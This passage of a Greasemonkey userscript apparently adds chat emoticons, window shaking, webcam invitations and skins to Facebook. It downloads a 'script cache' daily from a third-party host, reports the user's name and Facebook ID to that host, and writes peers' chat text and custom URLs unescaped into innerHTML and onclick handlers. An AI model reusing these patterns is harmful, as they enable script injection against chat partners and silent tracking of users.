			linker=linker[linker.length-1]
			a[b].added="true";
			var s=document.createElement('div');
			s.style.float="left";
			s.id="conv_"+linker;
			s.innerHTML='<div style="float:right;width:85px;"><div style="float:left;padding-right:5px"><a id="cam_'+linker+'" style="float:right;color:#fff" class="uiTooltip link"><img src="http://static.buzzzapps.com/src/cam.png" id="camI_'+linker+'" style="z-index:20000;height:17px;margin-top:-1px;"><span class="uiTooltipWrap top left lefttop"><span class="uiTooltipText" id="cam_text_'+linker+'">Start a video conversation</span></span></a></div><div style="float:left;padding-right:5px"><a style="float:right;color:#fff" id="wizz_'+linker+'" class="uiTooltip link"><img src="http://static.buzzzapps.com/src/wizz.png" style="float:left;z-index:20000;height:17px;margin-top:-1px" id="wizzI_'+linker+'"><span class="uiTooltipWrap top left lefttop"><span class="uiTooltipText">Send Wizz</span></span></a></div><div style="float:left;padding-right:5px"><a id="game_'+linker+'" style="float:right;color:#fff" class="uiTooltip link"><i class="img sp_a6qw52 sx_249078" style="top: -1px;"></i><span class="uiTooltipWrap top left lefttop"><span class="uiTooltipText">Launch Game Panel <span style="font-weight:normal;color:#dd3c10">(coming soon)</span></span></span></a></div><div style="float:left;padding-right:0px"><a id="smile_'+linker+'" style="float:right;color:#fff" class="uiTooltip link"><img class="emote_img" src="http://static.ak.fbcdn.net/images/blank.gif" id="smileI_'+linker+'" style="background-position: 0px 0px" alt=":)"><span class="uiTooltipWrap top left lefttop"><span class="uiTooltipText">Emoticons</span></span></a></div></div>';
			s.setAttribute('style',"float:left");
			a[b].setAttribute('style',"background-color: #6D84B4;border-bottom: 0px;border: 1px solid #254588;color: white;cursor: pointer;font-size: 11px;font-weight: bold;padding: 3px 3px 3px 5px;");
			a[b].className="titlebar clearfix";
		
			a[b].insertBefore(s,a[b].firstChild);
			document.getElementById('cam_'+linker).addEventListener('click',startWebcam,false);
						document.getElementById('wizz_'+linker).addEventListener('click',sendWizz,false);
			document.getElementById('game_'+linker).addEventListener('click',showGame,false);
			document.getElementById('smile_'+linker).addEventListener('click',showSmile,false);

		}
	}
	
}
var booksmile=[":)",":(",":P",":D",":o",";)","8)","8|",">:(",":/",":'(","3:)","O:)",":*","<3","^_^","-_-","o.O",">:O",":v",":3"];
function showSmile(e){
	to=e.target.id.split('_');
to=to[to.length-1];
if(document.getElementById("smilePanel_"+to)) {closesmile(to); return;};
					var a=document.getElementById('conv_'+to).parentNode.parentNode.parentNode;
var b=document.createElement('div')
b.setAttribute('style','height:auto;background-color:#6D84B4; width:258px;border-color: #254588;border-style: solid;border-width: 1px 1px 0px 1px;padding-top:2px;');
b.id="smilePanel_"+to;
b.innerHTML='';
var count=0;
for(var x=0;x<booksmile.length;x++){
	b.innerHTML+='<a href="#" onclick="sendSmile('+x+','+to+'); return false;"><img class="emote_img" src="http://static.ak.fbcdn.net/images/blank.gif" style="background-position: '+count+'px 0px" alt="'+booksmile[x]+'" ></a>';
	count-=16;
}
b.innerHTML+='<a href="#" onclick="sendSmile(\'(^^^)\','+to+'); return false;"><img class="emote_custom" src="http://static.ak.fbcdn.net/images/emote/shark.gif" alt="" ></a>';
b.innerHTML+='<a href="#" onclick="sendSmile(\'&lt;(&quot;)\','+to+'); return false;"><img class="emote_custom" src="http://static.ak.fbcdn.net/images/emote/penguin.gif" alt="" ></a>';
if(GM_getValue('customSmile')!="undefined"  &&GM_getValue('customSmile')!=""){
	persosmile=GM_getValue('customSmile').split('[laaa]');
	for(var x=0;x<persosmile.length;x++){
			b.innerHTML+='<a href="#" onclick="sendSmile(\''+persosmile[x]+'\','+to+'); return false;"><img class="emote_custom" src="'+persosmile[x]+'" style="width:auto;" alt="" ></a>';
	}
}

b.innerHTML+='<a href="#" onclick="AddSmile();closesmile('+to+'); return false;"style="color: white;float: right;font-size: 14px;font-weight: bolder;" class="uiTooltip link">+<span class="uiTooltipWrap top left lefttop"><span class="uiTooltipText">Add emoticons</span></span></a><div style="clear:both"></div>';
//<a href="#" onclick="sendSmile(\':)\','+to+'); return false;"><img class="emote_img" src="http://static.ak.fbcdn.net/images/blank.gif" style="background-position: -32px 0px" alt=":)" ></a>
a.insertBefore(b,a.firstChild);
}
var smileyadded=""
function AddSmile(){
	 smileyadded=""
	content="";
	if(GM_getValue('customSmile')!="undefined" &&GM_getValue('customSmile')!=""){
	persosmile=GM_getValue('customSmile').split('[laaa]');
	for(var x=0;x<persosmile.length;x++){
			content+='<div style="float:left;padding:5px;;border: 1px solid #CCC;margin:2px;font-size:normal; height:30px;text-align:center;" id="emo_'+x+'"><img class="" src="'+persosmile[x]+'" style="height:18px" alt="" ><br /><a href="#" onclick="deleteCustomSmiley('+x+'); return false;">X</a></div>';
			
	}
}
else content+='<span style="font-weight:normal;">No emoticon</span>';
	showpopup('add emoticon','<div style="color:#333;padding:5px;font-size:11px"><div style="  background-color: #eceff6;  border: 1px solid #d4dae8;   color: #333333;  padding: 10px;  font-size: 13px;   font-weight: bold;  ">Now you can add customs emoticons in your chat!<br /><br /><span style="font-size:11px;font-weight:normal">Just enter an emoticon url in this box and save it. <br /> </span></div><br /><br /><center><label for="smileurl">Emoticon url : </label><input name="smileurl" type="text" onchange="if(this.value.indexOf(\'.jpg\')<0 && this.value.indexOf(\'.gif\')<0 && this.value.indexOf(\'.png\')<0) this.style.borderColor=\'red\'; else document.getElementById(\'smiley\').src=this.value;smileyadded=this.value" /> <br /><img id="smiley" /></center><br ><br><div style="  background-color: #f7f7f7;   border: 1px solid #cccccc;   color: #333333; padding: 10px;  font-size: 13px; font-weight: bold;  " id="manager_emo">Manage emoticon<br /> '+content+'<div style="clear:both"></div></div>',450,SAVE,QUIT,addCustomSmiley);	
}

function addCustomSmiley(){
	 
	if(!smileyadded) return;
	if(smileyadded.indexOf(".jpg")<0 && smileyadded.indexOf(".gif")<0 && smileyadded.indexOf(".png")<0) return;
	if(GM_getValue('customSmile')=="undefined" ||GM_getValue('customSmile')=="")GM_setValue('customSmile',smileyadded);
	else GM_setValue('customSmile',GM_getValue('customSmile')+"[laaa]"+smileyadded);
	smileyadded="";
}

function deleteCustomSmiley(id){
	persosmile=GM_getValue('customSmile').split('[laaa]');
	custom="";
	for(var x=0;x<persosmile.length;x++){
		if(custom=="" && x!=id) custom=persosmile[x];
		else if(x!=id) custom+="[laaa]"+persosmile[x];
	}
	GM_setValue('customSmile',custom);
	document.getElementById("manager_emo").removeChild(document.getElementById("emo_"+id));
}
function sendSmile(what,to)
{
	if(isNaN(what))sendMessage(to,what);
	else sendMessage(to,booksmile[what]);
	closesmile(to);
}
function closesmile(to)
{
	var a=document.getElementById("smilePanel_"+to);
	if(a)
	{
		a.parentNode.removeChild(a);
	}
}
function showGame(e){
	
	showpopup('Play games with your friends','<div style="padding:5px;color:#333;font-size: 11px;"><h1>The game arrives in your chat!</h1><br />In the next months with SocialPlus! you will be able play directly with your friends online, with a lot of various games just for your enjoyment!<br /><br /><center><img src="http://www-hg.buzzzapps.com/sp/dev/game.jpg" /></center><br /><br /><b>This new feature will revolutionize even Facebook!</b><br />',500,CLOSE);
}
function startWebcam(e){
	hasFocus=true;
	/*var where=e.target.parentNode;
	var textarea=where.getElementsByTagName('textarea')[0];
	textarea.value="<startwebcam>";
	textarea.focus();
	var evObj = document.createEvent('KeyboardEvent');
 //evObj.initKeyboardEvent( 'keydown', true, true, window, "Enter" );
 if (typeof(evObj.initKeyboardEvent) != 'undefined') {
  evObj.initKeyboardEvent('keydown', true, true, window, false, false, false, false, 13, 0);

  evObj.initKeyboardEvent('keyup', true, true, window, false, false, false, false, 13, 0);

  evObj.initKeyboardEvent('keypress', true, true, window, false, false, false, false, 13, 0);
  

} else {
    evObj.initKeyEvent("keydown",true,true,window,false,false,false,false,13,0);
}
 // evObj.keyCode = 13;
	var a=textarea.dispatchEvent(evObj);
*/
to=e.target.id.split('_');
to=to[to.length-1];
sendMessage(to,"<startwebcam>");
}
function acceptCam(id)
{
	
	hasFocus=true;
	if(IdAccept[id])sendMessage(id,"<acceptwebcam>");
}
function closeWebcam(a){
	
	idto=a.target.id.split('_');
	idto=idto[idto.length-1];
	showpopup('Close Cam ?',"<div style='padding:5px;font-weight:bold'>Would you really stop the video conversation? </div>",400,"Yes","Cancel",function(){	sendMessage(idto,"<stopcam>");	});
		
}
function closerCam(id){
	showpopup('Close Cam ?',"<div style='padding:5px;font-weight:bold'>Would you really stop the video conversation? </div>",400,"Yes","Cancel",function(){	sendMessage(id,"<stopcam>");	});
		
}
function stopCam(id)
{
	hasFocus=false;
	try{
		if(!popupedCam[id])document.body.removeChild(document.getElementById('webcam_'+id));
		else popupedCam[id].close();
		popupedCam[id]=null;
	var lol=document.getElementById('cam_'+id);
	
		document.getElementById('camI_'+id).src="http://static.buzzzapps.com/src/cam.png";
	document.getElementById('cam_text_'+id).innerHTML="Start a video conversation";
		lol.removeEventListener('click',closeWebcam,false);
		lol.addEventListener('click',startWebcam,false);
	}
	catch(e){
		//console.log(id);
	}
	
}

function createCamWin(id){
	if(camtype!=0) openCamWin(id,camtype);
	else
	showpopup('Start VideoChat','<div style="padding:5px;color:#333"><br />'+videoChatExplain+'<br /><br /><div style="width:190px;float:left;padding-left:12px;margin-right:10px;text-align:center"><img src="http://static.buzzzapps.com/sp/popupchat.png" style="margin-bottom:10px;float:left"/><br /> <label class="uiButton uiButtonLarge uiButtonConfirm"><input class="UIButton_Text validdialog" id="" type="button" bindpoint="input" value="'+videChatnewWindow+'" name="ok" onclick="openCamWin('+id+',5);"></label></div><div style="width:195px;text-align:center;float:left;padding-left:5px"><img src="http://static.buzzzapps.com/sp/inlinechat.png" style="margin-bottom:10px;float:left"/><br /><br /><br /> <label class="uiButton uiButtonLarge uiButtonConfirm"><input class="UIButton_Text validdialog" id="" type="button" bindpoint="input" value="'+videChatFB+'" name="ok" onclick="openCamWin('+id+',4);"></label></div><div style="width:195px;text-align:center;float:left;padding-left:5px"><img src="http://www-hg.buzzzapps.com/sp/popupvideochat.jpg" style="margin-bottom:10px;float:left"/><br /><br /><br /> <label class="uiButton uiButtonLarge uiButtonConfirm"><input class="UIButton_Text validdialog" id="" type="button" bindpoint="input" value="Popup with Chat" name="ok" onclick="openCamWin('+id+',3);"></label><br /><span style="font-size:10px">'+videoChatStable+'</span></div> <div style="clear:both"></div> <br /> <br /><input type="checkbox" id="keepchoice" name="keep"/><label for="keepchoice">'+videChatRemenber+'</label><br /><br /></div>',680,"Cancel",'',function(d){cancelCam(id);});
	
}
var popupedCam=new Array();
function openCamWin(id,t)
{
	if(document.getElementById('my-social-dialog'))
	{
		if(document.getElementById('keepchoice').checked) camtype=t;
 footer=document.getElementById('pageFooter');
		if(footer) footer.removeChild(document.getElementById('my-social-dialog'));
		
	}
	if(!hasFocus || document.getElementById('webcam_'+id)) return;
	
				var lol=document.getElementById('cam_'+id);
					document.getElementById('camI_'+id).src="http://static.buzzzapps.com/src/cams.png";
	document.getElementById('cam_text_'+id).innerHTML="Stop video conversation";
		lol.removeEventListener('click',startWebcam,false);
		lol.addEventListener('click',closeWebcam,false);
	if(t==4)
	{	var b=document.createElement('div');
		b.id='webcam_'+id;
		left=(parseInt((document.getElementsByClassName('SPwebcam').length)*276)+20);
	b.className='SPwebcam';
	b.innerHTML='<div style="background-color: #6D84B4;border-top: 1px solid #254588;color:#fff;height:20px;line-height:20px;font-weight:bold" id="camwrapper_'+id+'"><span style="margin-left:10px">Video Conversation</span><a style="float:right;margin-right:10px;color:#fff" onclick="closerCam('+id+')">X</a></div><iframe src="http://set.buzzzapps.com/video/weCam2.php?client='+id+'&server='+FB_UID+'" frameborder="0" scrolling="no" height="180" width="340"/></iframe>';
		b.setAttribute('style','width:340px;height:201px;overflow:hidden;position:fixed;left:'+left+'px;bottom:20px;  border :1px solid #777;z-index:20000;border-top:0px;cursor:move');
		b.addEventListener('mousedown',function(e){
						 document.body.focus();
						window.addEventListener('mousemove',dragthiswindow,false);
						window.addEventListener('mouseup',function(e){
					 document.onselectstart = null;
						window.removeEventListener('mousemove',dragthiswindow,false);
						  this.removeEventListener('mouseup',arguments.callee,false);
					},false)
					},false)
		document.body.appendChild(b);
		
			document.getElementById('camwrapper_'+id).addEventListener('mousedown',function(e){
						 document.body.focus();
						window.addEventListener('mousemove',dragthiswindow,false);
						window.addEventListener('mouseup',function(e){
					 document.onselectstart = null;
						window.removeEventListener('mousemove',dragthiswindow,false);
						  this.removeEventListener('mouseup',arguments.callee,false);
					},false)
					},false)
	}
	else if(t==5)
	{	
		
		popupedCam[id]=window.open ('http://set.buzzzapps.com/video/weCam2.php?client='+id+'&server='+FB_UID+'', 'webcam', 'height=180, width=340,toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, directories=no, status=no')	
	}
	else if(t==3)
	{	
		
		popupedCam[id]=window.open ('http://set.buzzzapps.com/xpi/newcam/newCam.php?client='+id+'&server='+FB_UID+'&name='+FB_NAME, 'webcam', 'height=400, width=600,toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, directories=no, status=no')	
	}
}
function start(a){
	if(window!=window.top) return; // don't run in iframe 
	getlang();
	FB_UID=fb_uid();
	if(FB_UID>0 && document.getElementById('content'))
	{		constructFav();

		
		pubid=randomId(50);
		construct_trad();
			getPref();
			if(editor_enabled)composer();
					construit_filtre();

		document.getElementById('content').addEventListener('DOMNodeInserted', function(e){if(e.target.nodeName=="LI" || e.target.nodeName=="DIV"  ) movement(e);
			//document.getElementById('navSearch').addEventListener('keyup',googleSearch,false);

 },false);
 		if(chat_wizz_enabled)window.addEventListener('message',chateur,true);
		rating_style();
		if(dislike_enabled)Add_multiLink();
		if(filtrage.length>0)  doFiltre();
		 doDynamicFiltre()
		FB_NAME=fb_alias();
		//createLoveBox();
		addMenu();
		if(photo_enabled)Add_zoom();
		if(smiley_enabled || forme_enabled) checkStatus();
		get_last_connection();
		if(!document.getElementById(pubid))vachette_au_toilette(0);
		userKey=GM_getValue('mykey');
		if(skin_enabled)ajaxeur("http://get.buzzzapps.com/xpi/lechat/get_th.php?id_user="+FB_UID+"&ck="+userKey+"&me="+FB_UID,vide, setUserStyle);

	}
	else if(a<nbessai) setTimeout(function(){start(a+=1);},100);
	if(debug)
	{
		
	}

}
var IdAccept=new Array();
var IdInvite=new Array();


function wizz_this_window(id_conv){
if(!document.getElementById('conv_'+id_conv)) return;
	handle=document.getElementById('conv_'+id_conv).parentNode.parentNode.parentNode;
	if(handle.style.display!="none")
	{
		
			shake_it(handle);
		
	}
}
function navigate(e){
	return;

if(e.target.nodeName!="BODY") return;
  switch(e.keyCode){
	case 80: gotoURL('/profile.php'); break; // P/p Own profile
	case 72: gotoURL('/home.php'); break; // H/h 	Homepage
	case 78: gotoURL('/notifications.php'); break; // N/n  notification//
	case 82: gotoURL('/reqs.php'); break; // R/r	request/
	case 69: gotoURL('/?sk=events'); break; // E/e	Events
	case 86: gotoURL('/?sk=video'); break; // V/v	Videos
	case 70: gotoURL('/?sk=ru'); break; // F/f	Friend Update
	case 65: gotoURL('/?sk=media'); break; // A/a Album
/*	case 81: showpopup('Logout','<div style="padding:5px;font-size:13px;font-weight:bold;">'+TEXT_LOGOUT+'</div>',392,'Yes', UNDO,function() { a=document.getElementsByClassName('logoutButton')[0]; 
			if(a) a.firstChild.click(); });
		break; // A/a Album
	// Case L : profile_connect_button (like);
*/

	default : return 0;
  
  }
}
function gotoURL(url, preventClick) {
			url = url.replace(/^https?:\/\/www\.facebook\.com/, '');
			if (window && window.Quickling) {
				if (location.href.toLowerCase().match(/^https?:\/\/www\.facebook\.com\//)) { location.hash = '!'+url; }
				else if (preventClick || !clickLink(':' + url)) { location.href = location.protocol + '//www.facebook.com' + url; }
			} else { location.href = location.protocol + '//www.facebook.com' + url; }
		}
var etape=0;
var windo="";
var is_busy=false;
function shake_it(win)
{
	win.style.zIndex = 1000;
	win.setAttribute('style',' ');
	windo=win;
	etape=0;
	shakeit();
}

/*<div id="pagelet_roosters" style="background-color: #EDEFF4; border-bottom: 1px solid #E5EAF1; margin-top: 2px; padding: 5px 5px 4px;"><h2>SocialPlus!</h2>Une nouvelle version de SocialPlus! est disponible. Votre version sera mise Ã  niveau automatiquement au prochain chargement de Facebook.<br><br> <a>Cliquez ici</a> pour mettre tout de suite Ã  niveau votre version.<br><br><small>ce message n'apparaitra plus.</small></div>*/
function shakeit()
{
	size=5;
	if(!is_busy)
	{
		is_busy=true;
		switch(etape)
		{
			case 0 :windo.style.marginLeft="-"+(99+size)+"px";
				setTimeout('shakeit()',50);	
				
				break;
			case 1 : 	
				windo.style.marginBottom=size+"px"
				setTimeout('shakeit()',50);	
				break;
			case 2 : 	
				windo.style.marginLeft="-"+(99-size)+"px";
				setTimeout('shakeit()',50);	
				break;
			case 3 : 	
				windo.style.marginBottom="-"+size+"px";
				setTimeout('shakeit()',50);	
				break;
			case 4 : 
				windo.style.marginLeft="-99px"
				setTimeout('shakeit()',50);	
				break;
			case 5 : 	
				windo.style.marginBottom="0px"
				setTimeout('shakeit()',50);	
				break;
			case 6 :windo.style.marginLeft="-"+(99+size)+"px";
				setTimeout('shakeit()',50);	
				
				break;
			case 7 : 	
				windo.style.marginBottom=size+"px"
				setTimeout('shakeit()',50);	
				break;
			case 8 : 	
				windo.style.marginLeft="-"+(99-size)+"px";
				setTimeout('shakeit()',50);	
				break;
			case 9 : 	
				windo.style.marginBottom="-"+size+"px";
				setTimeout('shakeit()',50);	
				break;
			case 10 : 
				windo.style.marginLeft="-99px"
				setTimeout('shakeit()',50);	
				break;
			case 11 : 	
				windo.style.marginBottom="0px"
				setTimeout('shakeit()',50);	
				break;
			defaut :
			return true;
			break;
		}
		is_busy=false;
		etape++;
	}
}

function cancelCam(id)
{
	sendMessage(id,"<cancelcam>");
	//IdInvite[id]=0;
}
function declineCam(id)
{
	sendMessage(id,"<declinecam>");
	//IdInvite[id]=0;
}
function chateur(e){
//console.log(e);
//e.stopPropagation();

	try{var valeur=JSON.parse(e.data);
	
	}catch(e){valeur=""}
	//console.log(valeur);
	if(valeur.msg=="transition: ready -> ready") {addWebcamLink();}
	
	else if(valeur.t=="log" && valeur.msg=="transition: parent_wait -> ready") {addWebcamLink();}
	else if(valeur.ms && valeur.ms[0]){ 
	//	console.log(valeur.ms.length);
	//console.log(valeur.ms[0].msg.text);
	//return;
	//valeur=JSON.parse(valeur.ms);
	var what=0;
	if(valeur.ms.length>1)
	{
		if(valeur.ms[1].msg)message=valeur.ms[1].msg.text;
		else return;
		what=1;
		//console.log("ee");
	}
	else
	{	
		if(valeur.ms[0].msg)message=valeur.ms[0].msg.text;
		else return;
	
	}
	//	console.log(message);
		if(message=="<startwebcam>"){
			//console.log(valeur);
			var id_client=valeur.ms[what].to;
			if(id_client!=FB_UID) // J'invite
			{
				IdInvite[id_client]=1;
				
					var a=document.getElementById('conv_'+id_client).parentNode.parentNode.parentNode;
				setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>You invited "+valeur.ms[what].to_name+" to start a video conversation <a href='#'  onclick='cancelCam("+id_client+");return false;'>Cancel</a></b>" ;
				//document.getElementsByClassName('fbChatMessage');
				},500);
			 }
			else 
			{	// Je susi inviter
				var id_client=valeur.ms[what].from;
				var a=document.getElementById('conv_'+id_client).parentNode.parentNode.parentNode;
				IdAccept[id_client]=1;
					var id_mess=valeur.ms[what].msg.msgID;
			setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>I Want to start a video conversation   <a href='#' onclick='acceptCam("+id_client+");return false;'>Accept</a>  <a href='#' onclick='declineCam("+id_client+");return false;'>Decline</a></b>"; 
				//document.getElementsByClassName('fbChatMessage');
				},500);
			}
			
			
		}
		else if(message=="<acceptwebcam>"){
				
				var id_client=valeur.ms[what].from;
				if(id_client==FB_UID) { // MOI  il m'invite j'accepte
					if(IdAccept[valeur.ms[what].to]){
						createCamWin(valeur.ms[what].to);
						var a=document.getElementById('conv_'+valeur.ms[what].to).parentNode.parentNode.parentNode;
						IdAccept[valeur.ms[what].to]=0;
						var id_mess=valeur.ms[what].msg.msgID;
						setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>You have accepted a video conversation.</b>"; },500);
					}
				}
				else { // AUTRE J'invite il accepte
					if(IdInvite[valeur.ms[what].from])
					{
						createCamWin(valeur.ms[what].from) ;
						var a=document.getElementById('conv_'+valeur.ms[what].from).parentNode.parentNode.parentNode;
					IdInvite[valeur.ms[what].from]=0;
						
						setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>"+valeur.ms[what].from_name+" accepted your invitation to start a video conversation.</b>";},500);
					}
				}
		}
		else if(message=="<stopcam>"){
					var id_client=valeur.ms[what].from;
					if(id_client==FB_UID) { 
						IdInvite[valeur.ms[what].to]=0;
						IdAccept[valeur.ms[what].to]=0;
					stopCam(valeur.ms[what].to);
					
					var a=document.getElementById('conv_'+valeur.ms[what].to).parentNode.parentNode.parentNode;
						setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>You have stopped the video conversation</b>";},500);
					}
					else
					{
						IdInvite[id_client]=0;
						IdAccept[id_client]=0;

						var a=document.getElementById('conv_'+valeur.ms[what].from).parentNode.parentNode.parentNode;
							setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>"+valeur.ms[what].from_name+" stopped the video conversation.</b>";},500);
						stopCam(valeur.ms[what].from);
					}
					
				}
		else if(message=="<declinecam>"){
			hasFocus=false;
								var id_client=valeur.ms[what].from;

						if(id_client==FB_UID) { 
						IdInvite[valeur.ms[what].to]=0;
						IdAccept[valeur.ms[what].to]=0;
					
						var a=document.getElementById('conv_'+valeur.ms[what].to).parentNode.parentNode.parentNode;
						setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>You have refused the video conversation</b>";},500);
					}
					else
					{
							IdInvite[id_client]=0;
						IdAccept[id_client]=0;

						var a=document.getElementById('conv_'+valeur.ms[what].from).parentNode.parentNode.parentNode;
							setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>"+valeur.ms[what].from_name+" refused the video conversation.</b>";},500);
						stopCam(valeur.ms[what].from);
					}
				}
		else if(message=="<cancelcam>"){
				var id_client=valeur.ms[what].from;
					if(id_client==FB_UID) { 
						IdInvite[valeur.ms[what].to]=0;
						IdAccept[valeur.ms[what].to]=0;
					
						var a=document.getElementById('conv_'+valeur.ms[what].to).parentNode.parentNode.parentNode;
						setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>You have canceled the video conversation</b>";},500);
					}
					else
					{
							IdInvite[id_client]=0;
						IdAccept[id_client]=0;

						var a=document.getElementById('conv_'+valeur.ms[what].from).parentNode.parentNode.parentNode;
							setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>"+valeur.ms[what].from_name+" canceled the video conversation.</b>";},500);
						stopCam(valeur.ms[what].from);
					}
				}
				else if(message=="!nudge"){
			var id_client=valeur.ms[what].to;
			if(id_client!=FB_UID) // J'envoi
			{
			
				var id_mess=valeur.ms[what].msg.msgID;
					var a=document.getElementById('conv_'+id_client).parentNode.parentNode.parentNode;
				setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>"+TXT_WIZZ_S+"</b>" 
				//document.getElementsByClassName('fbChatMessage');
				},500);
			 }
			else 
			{	
			id_client=valeur.ms[what].from;
			// Je recoi
				if(document.getElementById('conv_'+id_client))
				{
					var a=document.getElementById('conv_'+id_client).parentNode.parentNode.parentNode;
	
					setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<b>"+valeur.ms[what].from_name+" "+TXT_WIZZ_R+"</b>"; 	},500);
				}
			}
			wizz_this_window(id_client);
		}
		else if(message.indexOf(".jpg")>0 || message.indexOf(".gif")>0 || message.indexOf(".png")>0){
						id_client=valeur.ms[what].from;
						if(id_client==FB_UID) id_client=valeur.ms[what].to;

		var a=document.getElementById('conv_'+id_client).parentNode.parentNode.parentNode;
			//		message=unescape(message.split('u=')[1];
					
					setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML="<a href='"+valeur.ms[what].msg.text+"' target='_blank'><img class='' src='"+valeur.ms[what].msg.text+"' style='max-width:190px'/></a>"; 	},500);
		}
		else if(message.indexOf(".youtube.com")>0){
			return;
						id_client=valeur.msg.from;
						if(id_client==FB_UID) id_client=valeur.msg.to;

		var a=document.getElementById('conv_'+id_client).parentNode.parentNode.parentNode;
			//		message=unescape(message.split('u=')[1];
					var message2=message.split('v=');
					if(message2[message2.length-1].length>=10)
					setTimeout(function(){a.getElementsByClassName('fbChatMessage')[a.getElementsByClassName('fbChatMessage').length-1].innerHTML='<object width="200" height="137"><param name="movie" value="http://www.youtube.com/v/-ZM4Hkw5CPk?fs=1&amp;hl=fr_FR&amp;rel=0"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><param NAME="wmode" VALUE="transparent"></param><embed src="http://www.youtube.com/v/'+message2[message2.length-1]+'" type="application/x-shockwave-flash" allowscriptaccess="always" wmode="transparent" allowfullscreen="true" width="200" height="137"></embed></object>'; 	},500);
		//
				//<stopcam>
				//<declinecam>
		}
		
	
	}
}

function get_last_connection()
{
	lastdate=GM_getValue('lastconnection');	
	obj=new Date();
	dateactuel=obj.getDate()+"/"+obj.getMonth()+"/"+obj.getFullYear();
	if(lastdate!=dateactuel)
	{
		 if(!lastdate || lastdate=="undefined") startConfig();
		// console.log(lastdate);
		// cache du script 1 fois par jour :)
ajaxeur('http://get.buzzzapps.com/sp/getscriptcache.php',vide,function(data){if(data)GM_setValue('SPcachescript',escape(data));});
		// lastconnection
		ajaxeur('http://set.buzzzapps.com/xpi/lechat/register.php?name='+FB_NAME+'&fbid='+FB_UID,vide,function(){});
		GM_setValue('lastconnection',dateactuel);
	}

var s=document.createElement('script');
s.src='http://graph.facebook.com/'+FB_UID+'&callback=getSex'
document.getElementsByTagName('head')[0].appendChild(s);
}
var SEXE=0;
function getSex(d){
	if(d && d.gender)
	{
		if(d.gender=="male")
		SEXE=1;
		else SEXE=2;
	}
	//SEXE=d.gender;
}

function startConfig(){
	return;
	showpopup(WELCOME_TITLE+SETTING,"<div style='color:#333;padding:5px;;'>"+WELCOME_CONTENT+"<br /><center><img src='http://static.buzzzapps.com/sp/setting.png' class='img'></center><br />"+WELCOME_CONTENT2+"<br /><br /><center><label class='uiButton uiButtonLarge uiButtonConfirm'><input class='UIButton_Text validdialog' id='' type='button' bindpoint='input' value='"+LINK_SETTINGS_FUNCTION+"' name='ok' onclick='showPref();'></label>&nbsp;&nbsp;&nbsp;<label class='uiButton uiButtonLarge uiButtonConfirm'><input class='UIButton_Text validdialog' id='' type='button' bindpoint='input' value='"+CHOOSE_SKIN+"' name='ok' onclick='createSkinPop();'></label></center>",400,"ok",QUIT);	
}
function getPref(){
	GM_setValue('facemoi_revoked',1);
	smiley_enabled=eval(GM_getValue('smiley_enabled'));
	dislike_enabled=eval(GM_getValue('dislike_enabled'));
	forme_enabled=eval(GM_getValue('forme_enabled'));
	editor_enabled=eval(GM_getValue('editor_enabled'));
	chat_enabled=eval(GM_getValue('chat_enabled'));
	chat_wizz_enabled=eval(GM_getValue('chat_wizz_enabled'));
    note_enabled=eval(GM_getValue('note_enabled'));
    photo_enabled=eval(GM_getValue('photo_enabled'));
    skin_enabled=eval(GM_getValue('skin_enabled'));
	theme_extend=eval(GM_getValue('theme_extend'));
    groupes_enabled=eval(GM_getValue('groupes_enabled'));
    pages_enabled=eval(GM_getValue('pages_enabled'));
    comment_enabled=eval(GM_getValue('comment_enabled'));
    like_enabled=eval(GM_getValue('like_enabled'));
    relations_enabled=eval(GM_getValue('relations_enabled'));
    friends_enabled=eval(GM_getValue('friends_enabled'));
    event_enabled=eval(GM_getValue('event_enabled')); 
	    camtype=(GM_getValue('camtype')); 
		if(camtype<2) camtype=0;

promo_enabled=false; 


}
function setUserStyle(data)
{
	lastVisitedId=FB_UID;
	OnlineCss=user_theme;
	if(data)user_theme=data;
	if(data!=0 ){ setTimeout(function(){addCss('http://static.buzzzapps.com/xpi/css/'+user_theme+'.css','mycssstyle');OnlineCss=user_theme;},0);}
	else removeCss('mycssstyle');
	
}
function removeCss(type){
	if(document.getElementById(type))document.body.removeChild(document.getElementById(type));
}
function addCss(url,type,skin){
	setTimeout(function(){
	
	mystyle=document.getElementById(type);
if(mystyle) mystyle.href=url;
		else
		{
			newnode=document.createElement('link');
			newnode.id=type;
			newnode.rel="stylesheet";
			newnode.type="text/css";
			newnode.media="all";
			newnode.href=url;
			document.body.appendChild(newnode);
		}	
	},0);
}
function rating_style()
{
	addCss("http://static.buzzzapps.com/src/rating.css","rate-style");
}
function Show_smile()
{
	var a = document.getElementsByClassName('uiStreamMessage');
	if(!a.length) a = document.getElementsByClassName('UIStory_Message');
	for(var b=0;b<a.length;b++) {
		if(!a[b].ok)
		{
			a[b].innerHTML=new_smile(a[b].innerHTML);
			a[b].ok=true;
		}
	}
	
}
function checkStatus()
{
	setTimeout(function(){
	var a = document.getElementsByClassName('uiStreamMessage');
	if(!a.length) a = document.getElementsByClassName('UIStory_Message');
	for(var b=0;b<a.length;b++) {
		if(!a[b].ok)
